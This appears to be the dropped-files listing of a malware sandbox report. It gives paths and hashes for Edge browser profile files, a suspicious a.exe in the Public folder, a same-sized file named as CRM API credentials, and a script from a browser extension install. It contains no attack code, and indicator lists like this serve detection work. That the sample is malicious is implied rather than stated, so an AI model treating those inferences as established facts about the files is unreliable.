SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 21a17ee66bf90cb73b4c4075e50338a45d0429d693ece8ffb48d5fe13b82810d
MD5 14443f6b14e46173b2ef91d1c48ace13
SHA1 ac81cb0beb56a031079b45f8850d2f2a6811846c
SHA512 ca32175967ac1106b4cc82936198ca97198619097c3bc97ed1b55eea74ef137fe4003259d9d5dc507cf2192ba9b9040e464bfd1d60cfb2ca758e7c20a66fbb7d
TLSH
T1CC71D7578162ED62DB7D57B538E054DA33B7DC85DA83EE2C0161A0B4CD13B4C013388B
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 00b6a3c4bdc71207eb870e18986b3c090ece064660dbcda9ababa36767e68450
MD5 4cdd02ef422c7d1a0987ab149a300d98
SHA1 520dbc545688203426e39c81967863e08205027f
SHA512 8133d2319610a1d91b2774a236161490302bf7ef6b91ce2066cdac7c96147a7007cb61bd3b310e6c9cf07f3d7933c0cae520ee040625af1e4d433553032963d1
TLSH
T1FC41BDF7C3E8866D890156F0BB183E2BCE2D0954832C3D5AC9E4AF5B93E2871E54194E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 a4728eac899319659d772015965b4a70f962a608371fd8279c4a9f93960b49ef
MD5 634df5830d0aaf4a4d59771dc34bc81a
SHA1 7e21aaa5827d773561fa41474eeb2b7205c27b9a
SHA512 919699048f9aef9a2b8379ceec3da727a1ebcf8709b55f37d6512e891c2ed00d795fc512189e941c5b8c85bb72d6afdc44f3f70ad49e41e1d2674b11fec06365
SSDEEP 192:sxRMRbJyM/jK1Ml8wcF/fesVPBEZ2zoA8p4j/g6+WNIYYMoOw+huqqG/IgtJ:sxRMNCF/fesVPB6rC/5IVOIqF3
TLSH
T1B862DA166A289977CCCBD219FA567F53D6F81573A2940E44AAFCCA0C04E6ADD2213C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 447221e55eed0d0c96797e170dfeeddf5528fd04bf843dcf4ba4ca9c38946914
MD5 9ac8bc186f1f12b895b30958f7f40459
SHA1 158b7f89d95f485cdf8b4c3b81a4dd91488b911d
SHA512 5efa194ef2a44c04465dd02489aabe2fb097a1aee9ff701f97610beb4f8f411a83fdf184e7fa08fd964e14b79b0871f2ebcfe78356c8813783a7d2dd54bebbf3
SSDEEP 192:sxRnRbJyM/jK1Ml8wcF/fesFPBEZ2zoA8p4j/g6+WNIYYMoOw+huqqG/IgDbJ:sxRnNCF/fesFPB6rC/5IVOIqFZ
TLSH
T10C62D916AA385977CCCBD219FA567F53D6F81573A2940E44AAFCCA0C04E6ADD2213C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 ec633aed4c96d38dbd1bb11cbab2be7671b17ca830ffa84793e18c37000ac30e
MD5 20ed502876de1c6f0a2962e3e2165461
SHA1 4526840477c1d19faf40e303924bf15a70e39064
SHA512 9820de1c1339a88220c1939097ed671a600492c1d55eb4c3d41164559a88529d9ff415af8cadc9ac25fc53522189431f842b69efe0e71354543a3c9ffae95947
SSDEEP 192:sxRnRbJyM/jK1Ml8UQMcF/fesFPDEZ2zoA8pej/g6+WNIYYMyOw+huqqG/IgDRJ:sxRnNqLF/fesFPD6rk/5I5OIqF3
TLSH
T1AB62DA16AA285977CCCBD61DFA527F53D6F81573A2940E44AAFCCA0C04E6EDD221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 62519891bd9b92344da894984ef233e1eed4067d99e81a2797e4453208e045af
MD5 8f46db21ca188ac12ac626a2f96881ab
SHA1 53b6c92b6fbd3d080560afebaf6d7b838afad7de
SHA512 9d103dd4a7ef3f19dd59af30e95edd5e85881f82a644f0fce8c78416dc9b2a4d43b86b02a2dc7facb279afe513b8fe5c779fc11d1ec7793d83b96fa501994951
SSDEEP 768:j+8uTA7pLuL7q7WgNVfq38F1+UoAYDCx9Tuqh0VfUC9xbog/OVOjpBJ6Vrol0N1S:j+8uTME7q7WgNVfq3u1jaVjpH6ul0N1S
TLSH
T1ACE2EB3B680CCB7E4F804DDCE829BD9A6DE801CB96D8CD5447EE841C03C6AEB551A5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 189caed16131d196b3ec4d1f4b91cc5acc7aa7d472b71d0a990dd6f12bb397e6
MD5 9d5f734760eefd154e1b4aac746b2b00
SHA1 ccad5964773a7aa38cc6627afbcd74d356c06a0b
SHA512 bf1f1c02495d6cdde5cda7f62360cf6e671f297e931f1975021c4aaf6ab4ae6beffb438529ccea1a5db2b3d4fa77d88f417d5f0a701c00f5e656ad3a3dc51a1c
SSDEEP 96:KItCKmgCiOQKTSAp4dZ7XDkTXKP9BkK1B9jkx5Zq755T:45nhp4dZ7XDuXK1BVB9j+5Zq755T
TLSH
T1C7916300317F23092CBD668894E5D51E828135B3724AB46F7BA920DA0E7FE105EFEDD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a7958.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a7958.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 fa0e83b50067243cdc7f3b86dae9c65ed9e55d33253e3cf1567aafca729f26f1
MD5 54725f9dca607a9a407c16a3e84e15e9
SHA1 8ef71887313c68a33d68a8a976a3f7283567f39c
SHA512 c02f46bb52de6bd938faae8d413de3940da13ac20cd558aff8ecb50a3b4111c0d7d1a3809a74ccf25104e9da2aef9260deb9a778e4f79230e4000dfbcecd4996
SSDEEP 768:UjaeqD4MlshiLdMmQ3wjDgaffVfYB6yJ5p3EFlnNMLmKjyjWtTzTb:UqcjhIdMH3WfVfYlp3EFlSC0yj2v
TLSH
T16603D03A98A058678C7696C5760B77976DB44293CB813F59D8CC7A0E01AB3DF130BC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 8ff343f5425265a4e7c8292f38dd4b2be2df20a3d51282e6ffbc987e89eda44e
MD5 5e41b61c56e801e15480ac27738b52d7
SHA1 573f771cf987645e7739ee173abffe376bc30cec
SHA512 9265631a4f4cfa890e57be5d318b3c50ee0f9799b7f72a81a7f43cf65d4cbcbc3bea937cb3ba50efdaf518f2d6dc67f2f6192ff4a1917f92ba907fa7d3929655
SSDEEP 768:5j+9n3wgomolgaffVfYBzfYBIyJ5p3EFlnNMLmOR/+0Kvw:k9n3w3ZfVfYxfYfp3EFlSCi/evw
TLSH
T148F2AE3198A0ED579D959286760B37976EF406B3D9802E89D8DCAF0E088B7DD170BC1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 2bdb03c94b72b67c9247babaa3810ada56ef19dc043670c5f48be23dd5199330
MD5 f8c091336d78816038ca5a8dfef9c2b0
SHA1 214fdacec38bd28ba18bd34491d36351d4b1d1d2
SHA512 07edc643737d447b7c41d695607a53cbf322fb3c2ea1df9eba5349f209ff7fe16d1c6c1b48fdb3d006bb9d693cc2e1ce4e09e4d3807ecb8d9c63d6df6edd4fb7
SSDEEP 768:Dj+9n3zgo0olgaffVfYBzfYBIyJ5p3EFlnNMLmOR/+0Kvw:G9n3z3LfVfYxfYfp3EFlSCi/evw
TLSH
T1BEF2AE3198A0ED578D99D286760B37976EF406B7D9802E89D8DCAF0E048B7DD170BC1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 6b44b73a4837bd88202f6038cbc69bd5412996a61e5a7b511a6aed9b9bd4b785
MD5 79f08df37367f1a58423d233c53370ee
SHA1 5637fb9d965b249ff6c7cd009802071193a0ad2e
SHA512 3e80b3ffcc8a366b5f5b472e6c065a40c3b7e0afc32b96c462b1009402446c21d04d1998214116350b487da8d2214d6bb37d0a5412aa20b9f711d01ebeb6c082
SSDEEP 768:fF1j+9e3twgZgo0oKXfVfYBzfYBvyJ5p3EFlnNMLmOR/+0Kvw:W9e393EfVfYxfYWp3EFlSCi/evw
TLSH
T1DD038E36D8A0DE6BADE697C6770A779B9DE001A3C588ADD9D9CC6E0D00C72DD070BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

26dd7747-b8e4-4229-abb8-daf6548a9caa.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\26dd7747-b8e4-4229-abb8-daf6548a9caa.tmp
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

6a200cc3-ba1d-4d7b-a048-8aba1e9abed8.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\6a200cc3-ba1d-4d7b-a048-8aba1e9abed8.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1376_521431387\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ProfitInvext_CRM_API_Credentials.pdf

Path C:\Users\Admin\Documents\ProfitInvext_CRM_API_Credentials.pdf
Size 184KB
SHA256 2fe31654f40a3d7dc1d8f89528b7f6294e1b6d902149f07182809d6eca9c51dc
MD5 710cec97bf0e6a90e915a6591acbd2d5
SHA1 43bf8008c22495767c3fafbaee6ed2510a1327c8
SHA512 d4778d781873fcf6bc341333483386dfdb94d5f0b6ef740c5628cc47411197793ba7e4ecea1bda3e16d7e673432982961fcd0bd4f074b0fc951c43a171c9307e
SSDEEP 3072:gPsitbtINrvbqzJmJXHdHIuPwmsXjZobYlcaDxYwDfqEK2YDL6Y:gFYwAjDLZ
TLSH
T19D04D74088B6DE072DD53FBC3C977D012FCA63C365B04947BA155A9832B49EE32DA64B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a.exe

Path C:\Users\Public\a.exe
Size 184KB
SHA256 9244a4577c84492a0fd0050034102b0be5f3c0a4bde76a55f970d90ab1210ebc
MD5 993d0150a961ea24e02d893f39f73c5d
SHA1 149284da5089a0579f87256e2ee3c43e8e632111
SHA512 d4ab997edb52302a87c2cf50a3fbf7d57c69753f59089f6a921d17af3acf5bb531239a1d713ec34c726489ec52c5ba3acfcb6058cb44188db430af9d28d0677b
SSDEEP 3072:VNsitbtINrvbqzJmJXHdHIuPwmsXjZobYlcaDxYwDfqEKWNWnX:VvYwAaWX
TLSH
T18904D79088B6CD071DC93EBD7CC66E011FCA638275F04907BA645A5836B49FF62DE24B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download